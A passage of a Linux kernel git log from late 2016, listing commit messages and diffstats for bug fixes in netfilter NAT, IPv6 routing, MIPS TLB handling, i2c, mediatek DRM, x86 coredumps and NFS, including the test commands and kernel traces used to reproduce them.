would be printed in a new line: (...) [ 0.642350] - [ 0.644374] | [ 0.646367] - (...) Signed-off-by: Nicolas Schichan Signed-off-by: Linus Torvalds init/do_mounts_rd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 764d3be6e415b40056834bfd29b994dc3f837606 Author: Paolo Abeni Date: Tue Nov 22 16:57:40 2016 +0100 ipv6: bump genid when the IFA_F_TENTATIVE flag is clear When an ipv6 address has the tentative flag set, it can't be used as source for egress traffic, while the associated route, if any, can be looked up and even stored into some dst_cache. In the latter scenario, the source ipv6 address selected and stored in the cache is most probably wrong (e.g. with link-local scope) and the entity using the dst_cache will experience lack of ipv6 connectivity until said cache is cleared or invalidated. Overall this may cause lack of connectivity over most IPv6 tunnels (comprising geneve and vxlan), if the first egress packet reaches the tunnel before the DaD is completed for the used ipv6 address. This patch bumps a new genid after that the IFA_F_TENTATIVE flag is cleared, so that dst_cache will be invalidated on next lookup and ipv6 connectivity restored. Fixes: 0c1d70af924b ("net: use dst_cache for vxlan device") Fixes: 468dfffcd762 ("geneve: add dst caching support") Acked-by: Hannes Frederic Sowa Signed-off-by: Paolo Abeni Signed-off-by: David S. Miller net/ipv6/addrconf.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 1031398035a25e5c90c66befb6ff41fa4746df98 Author: Paul Burton Date: Sat Nov 12 01:26:07 2016 +0000 MIPS: Mask out limit field when calculating wired entry count Since MIPSr6 the Wired register is split into 2 fields, with the upper 16 bits of the register indicating a limit on the value that the wired entry count in the bottom 16 bits of the register can take. This means that simply reading the wired register doesn't get us a valid TLB entry index any longer, and we instead need to retrieve only the lower 16 bits of the register. Introduce a new num_wired_entries() function which does this on MIPSr6 or higher and simply returns the value of the wired register on older architecture revisions, and make use of it when reading the number of wired entries. Since commit e710d6668309 ("MIPS: tlb-r4k: If there are wired entries, don't use TLBINVF") we have been using a non-zero number of wired entries to determine whether we should avoid use of the tlbinvf instruction (which would invalidate wired entries) and instead loop over TLB entries in local_flush_tlb_all(). This loop begins with the number of wired entries, or before this patch some large bogus TLB index on MIPSr6 systems. Thus since the aforementioned commit some MIPSr6 systems with FTLBs have been prone to leaving stale address translations in the FTLB & crashing in various weird & wonderful ways when we later observe the wrong memory. Signed-off-by: Paul Burton Cc: Matt Redfearn Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14557/ Signed-off-by: Ralf Baechle arch/mips/include/asm/mipsregs.h | 6 ++++++ arch/mips/include/asm/tlb.h | 13 +++++++++++++ arch/mips/mm/init.c | 4 ++-- arch/mips/mm/tlb-r4k.c | 6 +++--- 4 files changed, 24 insertions(+), 5 deletions(-) commit 4d6d5f1d08d2138dc43b28966eb6200e3db2e623 Author: Russell King Date: Fri Nov 18 19:40:10 2016 +0000 i2c: designware: fix rx fifo depth tracking When loading the TX fifo to receive bytes on the I2C bus, we incorrectly count the number of bytes: rx_limit = dev->rx_fifo_depth - dw_readl(dev, DW_IC_RXFLR); while (buf_len > 0 && tx_limit > 0 && rx_limit > 0) { if (rx_limit - dev->rx_outstanding <= 0) break; rx_limit--; dev->rx_outstanding++; } DW_IC_RXFLR indicates how many bytes are available to be read in the FIFO, dev->rx_fifo_depth is the FIFO size, and dev->rx_outstanding is the number of bytes that we've requested to be read so far, but which have not been read. Firstly, increasing dev->rx_outstanding and decreasing rx_limit and then comparing them results in each byte consuming "two" bytes in this tracking, so this is obviously wrong. Secondly, the number of bytes that _could_ be received into the FIFO at any time is the number of bytes we have so far requested but not yet read from the FIFO - in other words dev->rx_outstanding. So, in order to request enough bytes to fill the RX FIFO, we need to request dev->rx_fifo_depth - dev->rx_outstanding bytes. Modifying the code thusly results in us reaching the maximum number of bytes outstanding each time we queue more "receive" operations, provided the transfer allows that to happen. Signed-off-by: Russell King Reviewed-by: Mika Westerberg Acked-by: Jarkko Nikula Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2bf413d56b7de72ab800a6edb009177e5669b929 Author: Russell King Date: Fri Nov 18 19:40:04 2016 +0000 i2c: designware: report short transfers Rather than reporting success for a short transfer due to interrupt latency, report an error both to the caller, as well as to the kernel log. Signed-off-by: Russell King Reviewed-by: Mika Westerberg Acked-by: Jarkko Nikula Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 5173bc679dec881120df109a6a2b39143235382c Author: Florian Westphal Date: Wed Nov 23 01:11:03 2016 +0100 netfilter: nat: fix crash when conntrack entry is re-used Stas Nichiporovich reports oops in nf_nat_bysource_cmp(), trying to access nf_conn struct at address 0xffffffffffffff50. This is the result of fetching a null rhash list (struct embedded at offset 176; 0 - 176 gets us ...fff50). The problem is that conntrack entries are allocated from a SLAB_DESTROY_BY_RCU cache, i.e. entries can be free'd and reused on another cpu while nf nat bysource hash access the same conntrack entry. Freeing is fine (we hold rcu read lock); zeroing rhlist_head isn't. -> Move the rhlist struct outside of the memset()-inited area. Fixes: 7c9664351980aaa6a ("netfilter: move nat hlist_head to nf_conn") Reported-by: Stas Nichiporovich Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 49cdc4c74918a5576cb93b679629714d8a9ef399 Author: Liping Zhang Date: Mon Nov 21 21:18:23 2016 +0800 netfilter: nft_range: add the missing NULL pointer check Otherwise, kernel panic will happen if the user does not specify the related attributes. Fixes: 0f3cd9b36977 ("netfilter: nf_tables: add range expression") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_range.c | 6 ++++++ 1 file changed, 6 insertions(+) commit d3e2a1110cae6ee5eeb1f9a97addf03e974f12e6 Author: Anders K. Pedersen Date: Sun Nov 20 16:38:47 2016 +0000 netfilter: nf_tables: fix inconsistent element expiration calculation As Liping Zhang reports, after commit a8b1e36d0d1d ("netfilter: nft_dynset: fix element timeout for HZ != 1000"), priv->timeout was stored in jiffies, while set->timeout was stored in milliseconds. This is inconsistent and incorrect. Firstly, we already call msecs_to_jiffies in nft_set_elem_init, so priv->timeout will be converted to jiffies twice. Secondly, if the user did not specify the NFTA_DYNSET_TIMEOUT attr, set->timeout will be used, but we forget to call msecs_to_jiffies when do update elements. Fix this by using jiffies internally for traditional sets and doing the conversions to/from msec when interacting with userspace - as dynset already does. This is preferable to doing the conversions, when elements are inserted or updated, because this can happen very frequently on busy dynsets. Fixes: a8b1e36d0d1d ("netfilter: nft_dynset: fix element timeout for HZ != 1000") Reported-by: Liping Zhang Signed-off-by: Anders K. Pedersen Acked-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 2 +- net/netfilter/nf_tables_api.c | 14 +++++++++----- 2 files changed, 10 insertions(+), 6 deletions(-) commit 7223ecd4669921cb2a709193521967aaa2b06862 Author: Florian Westphal Date: Wed Nov 16 15:13:36 2016 +0100 netfilter: nat: switch to new rhlist interface I got offlist bug report about failing connections and high cpu usage. This happens because we hit 'elasticity' checks in rhashtable that refuses bucket list exceeding 16 entries. The nat bysrc hash unfortunately needs to insert distinct objects that share same key and are identical (have same source tuple), this cannot be avoided. Switch to the rhlist interface which is designed for this. The nulls_base is removed here, I don't think its needed: A (unlikely) false positive results in unneeded port clash resolution, a false negative results in packet drop during conntrack confirmation, when we try to insert the duplicate into main conntrack hash table. Tested by adding multiple ip addresses to host, then adding iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ... and then creating multiple connections, from same source port but different addresses: for i in $(seq 2000 2032);do nc -p 1234 192.168.7.1 $i > /dev/null & done (all of these then get hashed to same bysource slot) Then, to test that nat conflict resultion is working: nc -s 10.0.0.1 -p 1234 192.168.7.1 2000 nc -s 10.0.0.2 -p 1234 192.168.7.1 2000 tcp .. src=10.0.0.1 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1024 [ASSURED] tcp .. src=10.0.0.2 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1025 [ASSURED] tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1234 [ASSURED] tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2001 src=192.168.7.1 dst=192.168.7.10 sport=2001 dport=1234 [ASSURED] [..] -> nat altered source ports to 1024 and 1025, respectively. This can also be confirmed on destination host which shows ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1024 ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1025 ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1234 Cc: Herbert Xu Fixes: 870190a9ec907 ("netfilter: nat: convert nat bysrc hash to rhashtable") Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack.h | 2 +- net/netfilter/nf_nat_core.c | 40 +++++++++++++++++++++--------------- 2 files changed, 25 insertions(+), 17 deletions(-) commit 728e87b49605f7ee02c0415c8255d3d185a36154 Author: Florian Westphal Date: Wed Nov 16 15:13:35 2016 +0100 netfilter: nat: fix cmp return value The comparator works like memcmp, i.e. 0 means objects are equal. In other words, when objects are distinct they are treated as identical, when they are distinct they are allegedly the same. The first case is rare (distinct objects are unlikely to get hashed to same bucket). The second case results in unneeded port conflict resolutions attempts. Fixes: 870190a9ec907 ("netfilter: nat: convert nat bysrc hash to rhashtable") Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_nat_core.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit abd66e9f3cc50c9c3ba4cf609749374090a2f215 Author: Laura Garcia Liebana Date: Mon Nov 14 22:33:34 2016 +0100 netfilter: nft_hash: validate maximum value of u32 netlink hash attribute Use the function nft_parse_u32_check() to fetch the value and validate the u32 attribute into the hash len u8 field. This patch revisits 4da449ae1df9 ("netfilter: nft_exthdr: Add size check on u8 nft_exthdr attributes"). Fixes: cb1b69b0b15b ("netfilter: nf_tables: add hash expression") Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_hash.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 8ca18eec2b2276b449c1dc86b98bf083c5fe4e09 Author: Marc Zyngier Date: Wed Nov 23 10:11:21 2016 +0000 KVM: arm/arm64: vgic: Don't notify EOI for non-SPIs When we inject a level triggerered interrupt (and unless it is backed by the physical distributor - timer style), we request a maintenance interrupt. Part of the processing for that interrupt is to feed to the rest of KVM (and to the eventfd subsystem) the information that the interrupt has been EOIed. But that notification only makes sense for SPIs, and not PPIs (such as the PMU interrupt). Skip over the notification if the interrupt is not an SPI. Cc: stable@vger.kernel.org # 4.7+ Fixes: 140b086dd197 ("KVM: arm/arm64: vgic-new: Add GICv2 world switch backend") Fixes: 59529f69f504 ("KVM: arm/arm64: vgic-new: Add GICv3 world switch backend") Reported-by: Catalin Marinas Tested-by: Catalin Marinas Acked-by: Christoffer Dall Signed-off-by: Marc Zyngier virt/kvm/arm/vgic/vgic-v2.c | 6 ++++-- virt/kvm/arm/vgic/vgic-v3.c | 6 ++++-- 2 files changed, 8 insertions(+), 4 deletions(-) commit 486dcf43da7815baa615822f3e46883ccca5400f Author: Florian Westphal Date: Thu Nov 10 14:24:40 2016 +0100 netfilter: fix nf_conntrack_helper documentation Since kernel 4.7 this defaults to off. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Documentation/networking/nf_conntrack-sysctl.txt | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 00b4422fe363cc7cadc51c50c5a0c3c510f0fa14 Author: David Ahern Date: Wed Nov 9 10:25:05 2016 -0800 netfilter: Update nf_send_reset6 to consider L3 domain nf_send_reset6 is not considering the L3 domain and lookups are sent to the wrong table. For example consider the following output rule: ip6tables -A OUTPUT -p tcp --dport 12345 -j REJECT --reject-with tcp-reset using perf to analyze lookups via the fib6_table_lookup tracepoint shows: swapper 0 [001] 248.787816: fib6:fib6_table_lookup: table 255 oif 0 iif 1 src 2100:1::3 dst 2100:1: ffffffff81439cdc perf_trace_fib6_table_lookup ([kernel.kallsyms]) ffffffff814c1ce3 trace_fib6_table_lookup ([kernel.kallsyms]) ffffffff814c3e89 ip6_pol_route ([kernel.kallsyms]) ffffffff814c40d5 ip6_pol_route_output ([kernel.kallsyms]) ffffffff814e7b6f fib6_rule_action ([kernel.kallsyms]) ffffffff81437f60 fib_rules_lookup ([kernel.kallsyms]) ffffffff814e7c79 fib6_rule_lookup ([kernel.kallsyms]) ffffffff814c2541 ip6_route_output_flags ([kernel.kallsyms]) 528 nf_send_reset6 ([nf_reject_ipv6]) The lookup is directed to table 255 rather than the table associated with the device via the L3 domain. Update nf_send_reset6 to pull the L3 domain from the dst currently attached to the skb. Signed-off-by: David Ahern Signed-off-by: Pablo Neira Ayuso net/ipv6/netfilter/nf_reject_ipv6.c | 1 + 1 file changed, 1 insertion(+) commit 6d8b49c3a3a3e1f11b52edd3b9beb6693bb8061d Author: David Ahern Date: Wed Nov 9 10:24:40 2016 -0800 netfilter: Update ip_route_me_harder to consider L3 domain ip_route_me_harder is not considering the L3 domain and sending lookups to the wrong table. For example consider the following output rule: iptables -I OUTPUT -p tcp --dport 12345 -j REJECT --reject-with tcp-reset using perf to analyze lookups via the fib_table_lookup tracepoint shows: vrf-test 1187 [001] 46887.295927: fib:fib_table_lookup: table 255 oif 0 iif 0 src 0.0.0.0 dst 10.100.1.254 tos 0 scope 0 flags 0 ffffffff8143922c perf_trace_fib_table_lookup ([kernel.kallsyms]) ffffffff81493aac fib_table_lookup ([kernel.kallsyms]) ffffffff8148dda3 __inet_dev_addr_type ([kernel.kallsyms]) ffffffff8148ddf6 inet_addr_type ([kernel.kallsyms]) ffffffff8149e344 ip_route_me_harder ([kernel.kallsyms]) and vrf-test 1187 [001] 46887.295933: fib:fib_table_lookup: table 255 oif 0 iif 1 src 10.100.1.254 dst 10.100.1.2 tos 0 scope 0 flags ffffffff8143922c perf_trace_fib_table_lookup ([kernel.kallsyms]) ffffffff81493aac fib_table_lookup ([kernel.kallsyms]) ffffffff814998ff fib4_rule_action ([kernel.kallsyms]) ffffffff81437f35 fib_rules_lookup ([kernel.kallsyms]) ffffffff81499758 __fib_lookup ([kernel.kallsyms]) ffffffff8144f010 fib_lookup.constprop.34 ([kernel.kallsyms]) ffffffff8144f759 __ip_route_output_key_hash ([kernel.kallsyms]) ffffffff8144fc6a ip_route_output_flow ([kernel.kallsyms]) ffffffff8149e39b ip_route_me_harder ([kernel.kallsyms]) In both cases the lookups are directed to table 255 rather than the table associated with the device via the L3 domain. Update both lookups to pull the L3 domain from the dst currently attached to the skb. Signed-off-by: David Ahern Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 5ad45307d990020b25a8f7486178b6e033790f70 Author: Matthias Brugger Date: Fri Nov 18 11:06:10 2016 +0100 drm/mediatek: fix null pointer dereference The probe function requests the interrupt before initializing the ddp component. Which leads to a null pointer dereference at boot. Fix this by requesting the interrput after all components got initialized properly. Fixes: 119f5173628a ("drm/mediatek: Add DRM Driver for Mediatek SoC MT8173.") Signed-off-by: Matthias Brugger Change-Id: I57193a7ab554dfb37c35a455900689333adf511c drivers/gpu/drm/mediatek/mtk_disp_ovl.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit f6c872397028837c80685ee96c4011c62abe9a73 Author: Jitao Shi Date: Wed Nov 16 11:20:54 2016 +0800 drm/mediatek: fixed the calc method of data rate per lane Tune dsi frame rate by pixel clock, dsi add some extra signal (i.e. Tlpx, Ths-prepare, Ths-zero, Ths-trail,Ths-exit) when enter and exit LP mode, those signals will cause h-time larger than normal and reduce FPS. So need to multiply a coefficient to offset the extra signal's effect. coefficient = ((htotal*bpp/lane_number)+Tlpx+Ths_prep+Ths_zero+ Ths_trail+Ths_exit)/(htotal*bpp/lane_number) Signed-off-by: Jitao Shi Reviewed-by: Daniel Kurtz drivers/gpu/drm/mediatek/mtk_dsi.c | 64 ++++++++++++++++++++++++++++---------- 1 file changed, 48 insertions(+), 16 deletions(-) commit 1ee6f347f81925fa8f3816e69ca1b49021f37850 Author: Bibby Hsieh Date: Tue Oct 18 16:23:59 2016 +0800 drm/mediatek: fix a typo of DISP_OD_CFG to OD_RELAYMODE If we want to set the hardware OD to relay mode, we have to set DISP_OD_CFG register rather than OD_RELAYMODE; otherwise, the system will access the wrong address. Change-Id: Ifb9bb4caa63df906437d48b5d5326b6d04ea332a Fixes: 7216436420414144646f5d8343d061355fd23483 ("drm/mediatek: set mt8173 dithering function") Cc: stable@vger.kernel.org # v4.9+ Signed-off-by: Bibby Hsieh Acked-by: CK Hu drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a1ff57416af9a7971a801d553cd53edd8afb28d6 Author: Oliver O'Halloran Date: Wed Nov 23 13:55:13 2016 +1100 powerpc/boot: Fix the early OPAL console wrappers When configured with CONFIG_PPC_EARLY_DEBUG_OPAL=y the kernel expects the OPAL entry and base addresses to be passed in r8 and r9 respectively. Currently the wrapper does not attempt to restore these values before entering the decompressed kernel which causes the kernel to branch into whatever happens to be in r9 when doing a write to the OPAL console in early boot. This patch adds a platform_ops hook that can be used to branch into the new kernel. The OPAL console driver patches this at runtime so that if the console is used it will be restored just prior to entering the kernel. Fixes: 656ad58ef19e ("powerpc/boot: Add OPAL console to epapr wrappers") Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Oliver O'Halloran Signed-off-by: Michael Ellerman arch/powerpc/boot/main.c | 8 ++++++-- arch/powerpc/boot/opal-calls.S | 13 +++++++++++++ arch/powerpc/boot/opal.c | 11 +++++++++++ arch/powerpc/boot/ops.h | 1 + 4 files changed, 31 insertions(+), 2 deletions(-) commit c4597fd756836a5fb7900f2091797ab564390ad0 Author: Dan Carpenter Date: Thu Nov 24 01:19:08 2016 +0300 x86/apic/uv: Silence a shift wrapping warning 'm_io' is stored in 6 bits so it's a number in the 0-63 range. Static analysis tools complain that 1 << 63 will wrap so I have changed it to 1ULL << m_io. This code is over three years old so presumably the bug doesn't happen very frequently in real life or someone would have complained by now. Signed-off-by: Dan Carpenter Cc: Alex Thorlton Cc: Dimitri Sivanich Cc: Linus Torvalds Cc: Mike Travis Cc: Nathan Zimmer Cc: Peter Zijlstra Cc: Sebastian Andrzej Siewior Cc: Thomas Gleixner Cc: kernel-janitors@vger.kernel.org Fixes: b15cc4a12bed ("x86, uv, uv3: Update x2apic Support for SGI UV3") Link: http://lkml.kernel.org/r/20161123221908.GA23997@mwanda Signed-off-by: Ingo Molnar arch/x86/kernel/apic/x2apic_uv_x.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7b2dd3682896bcf1abbbbe870885728db2832a3c Author: Dmitry Safonov Date: Wed Nov 23 21:13:30 2016 +0300 x86/coredump: Always use user_regs_struct for compat_elf_gregset_t Commit: 90954e7b9407 ("x86/coredump: Use pr_reg size, rather that TIF_IA32 flag") changed the coredumping code to construct the elf coredump file according to register set size - and that's good: if binary crashes with 32-bit code selector, generate 32-bit ELF core, otherwise - 64-bit core. That was made for restoring 32-bit applications on x86_64: we want 32-bit application after restore to generate 32-bit ELF dump on crash. All was quite good and recently I started reworking 32-bit applications dumping part of CRIU: now it has two parasites (32 and 64) for seizing compat/native tasks, after rework it'll have one parasite, working in 64-bit mode, to which 32-bit prologue long-jumps during infection. And while it has worked for my work machine, in VM with !CONFIG_X86_X32_ABI during reworking I faced that segfault in 32-bit binary, that has long-jumped to 64-bit mode results in dereference of garbage: 32-victim[19266]: segfault at f775ef65 ip 00000000f775ef65 sp 00000000f776aa50 error 14 BUG: unable to handle kernel paging request at ffffffffffffffff IP: [] strlen+0x0/0x20 [...] Call Trace: [] elf_core_dump+0x11a9/0x1480 [] do_coredump+0xa6b/0xe60 [] get_signal+0x1a8/0x5c0 [] do_signal+0x23/0x660 [] exit_to_usermode_loop+0x34/0x65 [] prepare_exit_to_usermode+0x2f/0x40 [] retint_user+0x8/0x10 That's because we have 64-bit registers set (with according total size) and we're writing it to elf_thread_core_info which has smaller size on !CONFIG_X86_X32_ABI. That lead to overwriting ELF notes part. Tested on 32-, 64-bit ELF crashes and on 32-bit binaries that have jumped with 64-bit code selector - all is readable with gdb. Signed-off-by: Dmitry Safonov Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-mm@kvack.org Fixes: 90954e7b9407 ("x86/coredump: Use pr_reg size, rather that TIF_IA32 flag") Signed-off-by: Ingo Molnar arch/x86/include/asm/compat.h | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 83929cce95251cc77e5659bf493bd424ae0e7a67 Author: Mike Galbraith Date: Wed Nov 23 11:33:37 2016 +0100 sched/autogroup: Fix 64-bit kernel nice level adjustment Michael Kerrisk reported: > Regarding the previous paragraph... My tests indicate > that writing *any* value to the autogroup [nice priority level] > file causes the task group to get a lower priority. Because autogroup didn't call the then meaningless scale_load()... Autogroup nice level adjustment has been broken ever since load resolution was increased for 64-bit kernels. Use scale_load() to scale group weight. Michael Kerrisk tested this patch to fix the problem: > Applied and tested against 4.9-rc6 on an Intel u7 (4 cores). > Test setup: > > Terminal window 1: running 40 CPU burner jobs > Terminal window 2: running 40 CPU burner jobs > Terminal window 1: running 1 CPU burner job > > Demonstrated that: > * Writing "0" to the autogroup file for TW1 now causes no change > to the rate at which the process on the terminal consume CPU. > * Writing -20 to the autogroup file for TW1 caused those processes > to get the lion's share of CPU while TW2 TW3 get a tiny amount. > * Writing -20 to the autogroup files for TW1 and TW3 allowed the > process on TW3 to get as much CPU as it was getting as when > the autogroup nice values for both terminals were 0. Reported-by: Michael Kerrisk Tested-by: Michael Kerrisk Signed-off-by: Mike Galbraith Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-man Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1479897217.4306.6.camel@gmx.de Signed-off-by: Ingo Molnar kernel/sched/auto_group.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit b6e01232e25629907df9db19f25da7d4e8f5b589 Author: Tariq Toukan Date: Tue Nov 22 16:20:39 2016 +0200 net/mlx4_en: Free netdev resources under state lock Make sure mlx4_en_free_resources is called under the netdev state lock. This is needed since RCU dereference of XDP prog should be protected. Fixes: 326fe02d1ed6 ("net/mlx4_en: protect ring->xdp_prog with rcu_read_lock") Signed-off-by: Tariq Toukan Reported-by: Sagi Grimberg CC: Brenden Blanco Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit a4cd0271ead09439fa03ce38fa79654dd1e5484b Author: WANG Cong Date: Mon Nov 21 23:24:43 2016 -0800 net: revert "net: l2tp: Treat NET_XMIT_CN as success in l2tp_eth_dev_xmit" This reverts commit 7c6ae610a1f0, because l2tp_xmit_skb() never returns NET_XMIT_CN, it ignores the return value of l2tp_xmit_core(). Cc: Gao Feng Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/l2tp/l2tp_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 93af205656bed3d8d3f4b85b2a3749c7ed7d996a Author: Zhang Shengju Date: Tue Nov 22 14:14:28 2016 +0800 rtnetlink: fix the wrong minimal dump size getting from rtnl_calcit() For RT netlink, calcit() function should return the minimal size for netlink dump message. This will make sure that dump message for every network device can be stored. Currently, rtnl_calcit() function doesn't account the size of header of netlink message, this patch will fix it. Signed-off-by: Zhang Shengju Signed-off-by: David S. Miller net/core/rtnetlink.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57aac71b3e9ed890cf2219dd980c36f859b43d6a Author: Christophe Jaillet Date: Tue Nov 22 06:14:40 2016 +0100 bnxt_en: Fix a VXLAN vs GENEVE issue Knowing that: #define TUNNEL_DST_PORT_FREE_REQ_TUNNEL_TYPE_VXLAN (0x1UL << 0) #define TUNNEL_DST_PORT_FREE_REQ_TUNNEL_TYPE_GENEVE (0x5UL << 0) and that 'bnxt_hwrm_tunnel_dst_port_alloc()' is only called with one of these 2 constants, the TUNNEL_DST_PORT_ALLOC_REQ_TUNNEL_TYPE_GENEVE can not trigger. Replace the bit test that overlap by an equality test, just as in 'bnxt_hwrm_tunnel_dst_port_free()' above. Signed-off-by: Christophe JAILLET Acked-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 920c1cd36642ac21a7b2fdc47ab44b9634d570f9 Author: Randy Dunlap Date: Mon Nov 21 18:28:36 2016 -0800 netdevice.h: fix kernel-doc warning Fix kernel-doc warning in (missing ':'): ..//include/linux/netdevice.h:1904: warning: No description found for parameter 'prio_tc_map[TC_BITMASK + 1]' Signed-off-by: Randy Dunlap Signed-off-by: David S. Miller include/linux/netdevice.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c3891fa2543cbab26093f5e425b8a50cd6837f16 Author: Gao Feng Date: Tue Nov 22 09:54:36 2016 +0800 driver: macvlan: Check if need rollback multicast setting in macvlan_open When dev_set_promiscuity failed in macvlan_open, it always invokes dev_set_allmulti without checking if necessary. Now check the IFF_ALLMULTI flag firstly before rollback the multicast setting in the error handler. Signed-off-by: Gao Feng Signed-off-by: David S. Miller drivers/net/macvlan.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit ffa54a238c69184414a8f3dc35a18aed875290e7 Author: Kirill Esipov Date: Mon Nov 21 19:53:31 2016 +0300 net: phy: micrel: fix KSZ8041FTL supported value Fix setting of SUPPORTED_FIBRE bit as it was not present in features of KSZ8041. Signed-off-by: Kirill Esipov Signed-off-by: David S. Miller drivers/net/phy/micrel.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 855f6529c7c974a566eb56d5e3351a628305e16e Merge: 7ad54c9 7a79279 Author: Dave Airlie Date: Thu Nov 24 11:17:44 2016 +1000 Merge branch 'for-upstream/hdlcd' of git://linux-arm.org/linux-ld into drm-fixes A late issue discovered by Russell King while testing his setup on Juno. * 'for-upstream/hdlcd' of git://linux-arm.org/linux-ld: drm/arm: hdlcd: fix plane base address update commit 7ad54c99be62ff2f96deb002cff8221dd6f57087 Merge: 9c76358 d3ac31f Author: Dave Airlie Date: Thu Nov 24 11:16:44 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes one small powerplay fix and one regression fix for older PX systems and d3cold * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/radeon: fix power state when port pm is unavailable (v2) drm/amdgpu: fix power state when port pm is unavailable drm/amd/powerplay: avoid out of bounds access on array ps. commit 22a1e7783e173ab3d86018eb590107d68df46c11 Author: Takashi Iwai Date: Thu Nov 17 10:49:31 2016 +0100 xc2028: Fix use-after-free bug properly The commit 8dfbcc4351a0 ("[media] xc2028: avoid use after free") tried to address the reported use-after-free by clearing the reference. However, it's clearing the wrong pointer; it sets NULL to priv->ctrl.fname, but it's anyway overwritten by the next line memcpy(&priv->ctrl, p, sizeof(priv->ctrl)). OTOH, the actual code accessing the freed string is the strcmp() call with priv->fname: if (!firmware_name[0] && p->fname && priv->fname && strcmp(p->fname, priv->fname)) free_firmware(priv); where priv->fname points to the previous file name, and this was already freed by kfree(). For fixing the bug properly, this patch does the following: - Keep the copy of firmware file name in only priv->fname, priv->ctrl.fname isn't changed; - The allocation is done only when the firmware gets loaded; - The kfree() is called in free_firmware() commonly Fixes: commit 8dfbcc4351a0 ('[media] xc2028: avoid use after free') Cc: Signed-off-by: Takashi Iwai Signed-off-by: Mauro Carvalho Chehab drivers/media/tuners/tuner-xc2028.c | 37 ++++++++++++++++--------------------- 1 file changed, 16 insertions(+), 21 deletions(-) commit 10b9dd56860e93f11cd352e8c75a33357b80b70b Merge: 4d92c8d d55b352 Author: Linus Torvalds Date: Wed Nov 23 14:43:40 2016 -0800 Merge tag 'nfs-for-4.9-4' of git://git.linux-nfs.org/projects/anna/linux-nfs Pull NFS client bugfixes from Anna Schumaker: "Most of these fix regressions or races, but there is one patch for stable that Arnd sent me Stable bugfix: - Hide array-bounds warning Bugfixes: - Keep a reference on lock states while checking - Handle NFS4ERR_OLD_STATEID in nfs4_reclaim_open_state - Don't call close if the open stateid has already been cleared - Fix CLOSE rases with OPEN - Fix a regression in DELEGRETURN" * tag 'nfs-for-4.9-4' of git://git.linux-nfs.org/projects/anna/linux-nfs: NFSv4.x: hide array-bounds warning NFSv4.1: Keep a reference on lock states while checking NFSv4.1: Handle NFS4ERR_OLD_STATEID in nfs4_reclaim_open_state NFSv4: Don't call close if the open stateid has already been cleared NFSv4: Fix CLOSE races with OPEN NFSv4.1: Fix a regression in DELEGRETURN commit b7d79eb4615e3eb5947355f7b4354818cba037f7 Author: Florian Fainelli Date: Tue Nov 22 09:43:27 2016 -0800 clk: bcm: Fix unmet Kconfig dependencies for CLK_BCM_63XX With commit f4e871509959 ("clk: 